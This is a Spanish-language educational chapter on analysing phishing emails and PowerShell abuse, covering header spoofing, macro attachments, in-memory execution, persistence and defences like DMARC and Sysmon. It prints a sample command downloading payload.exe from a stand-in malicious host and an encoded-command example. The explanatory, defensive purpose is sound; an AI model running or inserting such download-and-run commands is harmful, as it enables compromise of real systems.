# Análisis técnico de correos maliciosos

En el mundo digital actual, el correo electrónico sigue siendo uno de los vectores de ataque más utilizados por los cibercriminales. Desde campañas de phishing hasta la distribución de malware, los atacantes han perfeccionado técnicas para engañar a los usuarios y comprometer sus sistemas. Uno de los métodos más efectivos y menos detectados en este tipo de ataques es el uso de PowerShell, una poderosa herramienta de administración en sistemas Windows, que puede ser aprovechada para ejecutar código malicioso sin levantar sospechas.

Este capítulo explora cómo los correos maliciosos se utilizan como medio inicial para la entrega de ataques y cómo los scripts PowerShell, una vez ejecutados, pueden desencadenar una serie de acciones que comprometen la seguridad de un sistema. A través de este análisis, examinaremos tanto las técnicas de ataque como las defensas que pueden desplegarse para mitigar estos riesgos.

---

## El correo malicioso como vector de ataque

Los correos electrónicos maliciosos representan la primera línea de ataque en muchas campañas cibernéticas. A menudo, los atacantes disfrazan sus mensajes como comunicaciones legítimas provenientes de entidades de confianza, manipulando tanto el contenido como la apariencia del correo para engañar al destinatario.

Uno de los primeros aspectos a examinar en un correo sospechoso es su encabezado. Las cabeceras contienen información valiosa sobre el remitente, los servidores que han

procesado el mensaje y la ruta que ha seguido hasta llegar al buzón del destinatario. En un correo legítimo, las cabeceras coinciden en su procedencia, pero en los correos maliciosos, a menudo se encuentran discrepancias. Por ejemplo, el campo «From» puede mostrar una dirección aparentemente genuina, mientras que los registros «Received» revelan una dirección IP o un dominio sospechoso. Esta falsificación de cabeceras es una técnica comúnmente conocida como «spoofing», y es el primer indicio de que el correo podría ser malicioso.

El siguiente elemento clave en el análisis de un correo sospechoso son los enlaces que contiene. Los atacantes suelen disfrazar los enlaces para que parezcan confiables a simple vista, pero un examen más detallado puede revelar su verdadera naturaleza. Colocar el cursor sobre el enlace sin hacer clic permite visualizar la URL a la que redirige. Muchas veces, esta URL puede ser una cadena de caracteres sospechosos o un dominio extraño que no coincide con el remitente legítimo. Los enlaces maliciosos pueden redirigir a sitios de phishing, donde se intenta robar credenciales, o descargar automáticamente malware en el dispositivo de la víctima.

Finalmente, los archivos adjuntos son un vector crítico de infección. Los atacantes suelen enviar documentos aparentemente inofensivos, como facturas, reportes o currículums, que al abrirse ejecutan código malicioso. Los archivos PDF o Word con macros embebidas son formatos comunes para este tipo de ataques. Las macros son pequeños programas que pueden automatizar tareas dentro de un documento, y los atacantes las usan para ejecutar scripts que comprometen el sistema de la víctima. Si bien los archivos adjuntos legítimos suelen estar firmados digitalmente, un adjunto que carezca de una firma válida o provenga de una fuente desconocida es una señal de alerta.

A través de estos elementos —cabeceras, enlaces y adjuntos— un atacante puede construir un correo malicioso que, a primera vista, parece legítimo. Sin embargo, un análisis cuidadoso

revela los indicios de fraude que, cuando se reconocen a tiempo, pueden evitar que el ataque tenga éxito.

---

## PowerShell: La herramienta legítima transformada en arma

Una vez que el atacante ha logrado que el destinatario del correo interactúe con el contenido malicioso, por ejemplo, descargando un archivo o activando una macro en un documento adjunto, comienza la segunda fase del ataque: la ejecución de código malicioso en el sistema de la víctima. Aquí es donde entra en juego PowerShell.

PowerShell fue diseñado como una herramienta de administración de sistemas en entornos Windows, proporcionando a los administradores de TI un control avanzado sobre el sistema operativo. Sin embargo, esta misma capacidad ha sido aprovechada por los atacantes, quienes pueden ejecutar comandos maliciosos a través de PowerShell sin la necesidad de crear un archivo ejecutable en el sistema, lo que les permite evadir muchas soluciones tradicionales de seguridad.

Uno de los aspectos más atractivos para los atacantes es que PowerShell permite ejecutar scripts directamente en la memoria del sistema, sin necesidad de interactuar con el disco duro. Esta característica hace que los ataques basados en PowerShell sean difíciles de detectar, ya que no dejan rastros fácilmente identificables en el sistema de archivos.

Un atacante puede, por ejemplo, enviar un correo con un enlace que redirige a un sitio web controlado por ellos. En lugar de descargar un archivo tradicional, el enlace puede ejecutar un comando PowerShell que descarga y ejecuta un script malicioso directamente en la máquina de la víctima. Un comando tan simple como:

```
Invoke-WebRequest -Uri "http://malicious-site.com/payload.exe" -OutFile "$env:temp\payload.exe"
```

puede ser suficiente para descargar un archivo malicioso desde un servidor externo y ejecutarlo, comprometiendo el sistema de manera casi instantánea. Este tipo de ataque es efectivo porque aprovecha la infraestructura del propio sistema operativo para ejecutar el código malicioso, sin levantar sospechas en el usuario.

Además, los atacantes suelen codificar los scripts PowerShell en base64, utilizando el parámetro -EncodedCommand. Esto les permite ocultar el contenido del script, dificultando su análisis por parte de antivirus y sistemas de monitoreo de red. Por ejemplo, un script codificado en base64 podría verse como:

```
powershell.exe -EncodedCommand aW52b2tlLXdlYlJlcXVlc3Qg...
```

Este tipo de codificación, junto con la capacidad de ejecución en memoria, convierte a PowerShell en una herramienta muy poderosa en manos de un atacante experimentado.

---

## El impacto de un ataque y las técnicas de post-explotación

Una vez que el script PowerShell malicioso se ha ejecutado, el atacante ya tiene una puerta de entrada en el sistema. Desde este punto, puede descargar software adicional, establecer conexiones remotas o exfiltrar datos sensibles sin que el usuario lo note. Esto marca el inicio de lo que se conoce como la fase de post-explotación.

Una de las primeras acciones de un atacante suele ser asegurar su persistencia en el sistema. Esto implica que, incluso si la víctima reinicia el sistema o intenta eliminar el malware, el atacante sigue manteniendo el control. Una de las maneras en

que se logra esto es instalando un «payload» adicional que se ejecuta cada vez que el sistema arranca, como un programa de acceso remoto (RAT) o un keylogger.

En este punto, los atacantes también pueden usar técnicas de «Living off the Land» (LotL), donde aprovechan herramientas preexistentes del sistema operativo para llevar a cabo sus acciones maliciosas, en lugar de introducir nuevo software. PowerShell es una de estas herramientas, ya que viene integrada en los sistemas Windows y es difícil de bloquear sin afectar la funcionalidad del sistema.

Durante la fase de post-explotación, el atacante puede continuar ejecutando comandos a través de PowerShell para extraer información confidencial, como credenciales, archivos o registros de usuarios. Estos datos pueden ser enviados de vuelta al servidor controlado por el atacante a través de conexiones cifradas, lo que dificulta aún más su detección.

---

## Defensas contra correos maliciosos y ataques PowerShell

A pesar de la sofisticación de los ataques basados en correos maliciosos y PowerShell, existen varias medidas defensivas que pueden implementarse para mitigar los riesgos. A nivel de correo electrónico, las organizaciones pueden implementar políticas de autenticación de correos como DMARC, SPF y DKIM. Estas tecnologías ayudan a verificar la legitimidad de los correos electrónicos, impidiendo que los atacantes falsifiquen dominios confiables.

A nivel del sistema, una de las defensas más efectivas contra ataques basados en PowerShell es restringir su uso mediante políticas de ejecución. Configurando PowerShell para que solo permita la ejecución de scripts firmados digitalmente, se puede reducir significativamente el riesgo de ejecución de

scripts maliciosos. Además, la habilitación de herramientas de monitoreo como **Sysmon** permite a los administradores rastrear la actividad de PowerShell en tiempo real y detectar comportamientos inusuales.